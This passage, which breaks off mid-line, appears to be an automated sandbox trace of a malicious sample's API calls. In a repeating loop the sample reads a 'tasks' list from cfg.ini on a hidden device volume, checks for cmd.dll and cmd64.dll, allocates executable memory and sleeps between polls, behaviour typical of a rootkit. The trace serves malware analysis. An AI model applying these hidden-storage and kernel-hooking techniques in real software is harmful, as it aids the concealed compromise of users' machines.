[0127.602] KeEnterCriticalRegion () [0127.602] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.602] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.602] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.602] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.602] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0127.602] IdePortDispatch () returned 0x103 [0127.602] KeWaitForMutexObject () returned 0x0 [0127.602] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.602] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.602] KeLeaveCriticalRegion () [0127.602] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.602] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.602] KeEnterCriticalRegion () [0127.602] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.602] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b6f000 [0127.602] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.602] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.602] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.602] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0127.602] IdePortDispatch () returned 0x103 [0127.603] KeWaitForMutexObject () returned 0x0 [0127.603] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.603] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.603] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.603] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.603] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0127.603] IdePortDispatch () returned 0x103 [0127.603] KeWaitForMutexObject () returned 0x0 [0127.603] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.603] KeLeaveCriticalRegion () [0127.603] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.604] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.604] KeEnterCriticalRegion () [0127.604] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.604] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.604] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.604] KeLeaveCriticalRegion () [0127.604] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.604] KeEnterCriticalRegion () [0127.604] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.604] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0127.604] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80037e1a60, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0127.604] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.604] KeLeaveCriticalRegion () [0127.604] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.604] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.604] KeEnterCriticalRegion () [0127.604] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.604] ExFreePoolWithTag (P=0xfffffa80037e19a0, Tag=0x0) [0127.604] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.604] KeLeaveCriticalRegion () [0127.604] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.604] ReleaseMutex (hMutex=0xf0) returned 1 [0127.604] Sleep (dwMilliseconds=0x927c0) [0127.619] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0127.619] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0127.619] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0127.619] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.619] KeEnterCriticalRegion () [0127.619] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.619] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.619] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.619] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.619] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0127.619] IdePortDispatch () returned 0x103 [0127.619] KeWaitForMutexObject () returned 0x0 [0127.619] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.620] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.620] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.620] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0127.620] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0127.620] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80037e17f0 [0127.620] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.620] KeLeaveCriticalRegion () [0127.620] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.620] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.620] KeEnterCriticalRegion () [0127.620] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.620] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.620] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.620] KeLeaveCriticalRegion () [0127.620] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.620] KeEnterCriticalRegion () [0127.620] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.620] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.620] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.620] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.620] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0127.620] IdePortDispatch () returned 0x103 [0127.620] KeWaitForMutexObject () returned 0x0 [0127.620] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.620] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.620] KeLeaveCriticalRegion () [0127.620] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.620] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.620] KeEnterCriticalRegion () [0127.620] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.620] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b73000 [0127.620] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.620] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.620] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.620] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0127.620] IdePortDispatch () returned 0x103 [0127.621] KeWaitForMutexObject () returned 0x0 [0127.621] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.621] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.621] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.621] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.621] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0127.621] IdePortDispatch () returned 0x103 [0127.621] KeWaitForMutexObject () returned 0x0 [0127.621] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.621] KeLeaveCriticalRegion () [0127.621] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.621] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.622] KeEnterCriticalRegion () [0127.622] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.622] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.622] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.622] KeLeaveCriticalRegion () [0127.622] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.622] KeEnterCriticalRegion () [0127.622] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.622] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0127.622] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80037e1f20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0127.622] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.622] KeLeaveCriticalRegion () [0127.622] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.622] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.622] KeEnterCriticalRegion () [0127.622] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.622] ExFreePoolWithTag (P=0xfffffa80037e17f0, Tag=0x0) [0127.622] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.622] KeLeaveCriticalRegion () [0127.622] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.622] ReleaseMutex (hMutex=0xf0) returned 1 [0127.622] Sleep (dwMilliseconds=0x927c0) [0127.636] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0127.636] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0127.636] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0127.636] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.636] KeEnterCriticalRegion () [0127.636] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.636] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.636] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.636] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.636] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0127.636] IdePortDispatch () returned 0x103 [0127.636] KeWaitForMutexObject () returned 0x0 [0127.636] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.637] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.637] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.637] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0127.637] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0127.637] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bfb910 [0127.637] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.637] KeLeaveCriticalRegion () [0127.637] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.637] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.637] KeEnterCriticalRegion () [0127.637] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.637] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.637] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.637] KeLeaveCriticalRegion () [0127.637] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.637] KeEnterCriticalRegion () [0127.637] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.637] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.637] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.637] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.637] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0127.637] IdePortDispatch () returned 0x103 [0127.637] KeWaitForMutexObject () returned 0x0 [0127.637] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.637] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.637] KeLeaveCriticalRegion () [0127.637] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.637] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.637] KeEnterCriticalRegion () [0127.637] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.637] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b78000 [0127.637] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.637] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.637] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.637] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0127.637] IdePortDispatch () returned 0x103 [0127.638] KeWaitForMutexObject () returned 0x0 [0127.638] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.638] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.638] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.638] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.638] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0127.638] IdePortDispatch () returned 0x103 [0127.638] KeWaitForMutexObject () returned 0x0 [0127.638] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.638] KeLeaveCriticalRegion () [0127.638] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.639] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.639] KeEnterCriticalRegion () [0127.639] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.639] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.639] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.639] KeLeaveCriticalRegion () [0127.639] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.639] KeEnterCriticalRegion () [0127.639] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.639] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0127.639] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bfc070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0127.639] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.639] KeLeaveCriticalRegion () [0127.639] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.639] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.639] KeEnterCriticalRegion () [0127.639] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.639] ExFreePoolWithTag (P=0xfffffa8003bfb910, Tag=0x0) [0127.639] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.639] KeLeaveCriticalRegion () [0127.639] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.639] ReleaseMutex (hMutex=0xf0) returned 1 [0127.639] Sleep (dwMilliseconds=0x927c0) [0127.654] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0127.654] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0127.654] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0127.654] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.654] KeEnterCriticalRegion () [0127.654] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.654] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.654] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.654] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.654] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0127.654] IdePortDispatch () returned 0x103 [0127.654] KeWaitForMutexObject () returned 0x0 [0127.654] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.654] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.654] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.655] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0127.655] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0127.655] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80037e17f0 [0127.655] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.655] KeLeaveCriticalRegion () [0127.655] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.655] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.655] KeEnterCriticalRegion () [0127.655] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.655] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.655] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.655] KeLeaveCriticalRegion () [0127.655] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.655] KeEnterCriticalRegion () [0127.655] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.655] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.655] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.655] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.655] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0127.655] IdePortDispatch () returned 0x103 [0127.655] KeWaitForMutexObject () returned 0x0 [0127.655] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.655] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.655] KeLeaveCriticalRegion () [0127.655] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.655] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.655] KeEnterCriticalRegion () [0127.655] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.655] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b7d000 [0127.655] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.655] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.655] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.655] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0127.655] IdePortDispatch () returned 0x103 [0127.655] KeWaitForMutexObject () returned 0x0 [0127.656] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", 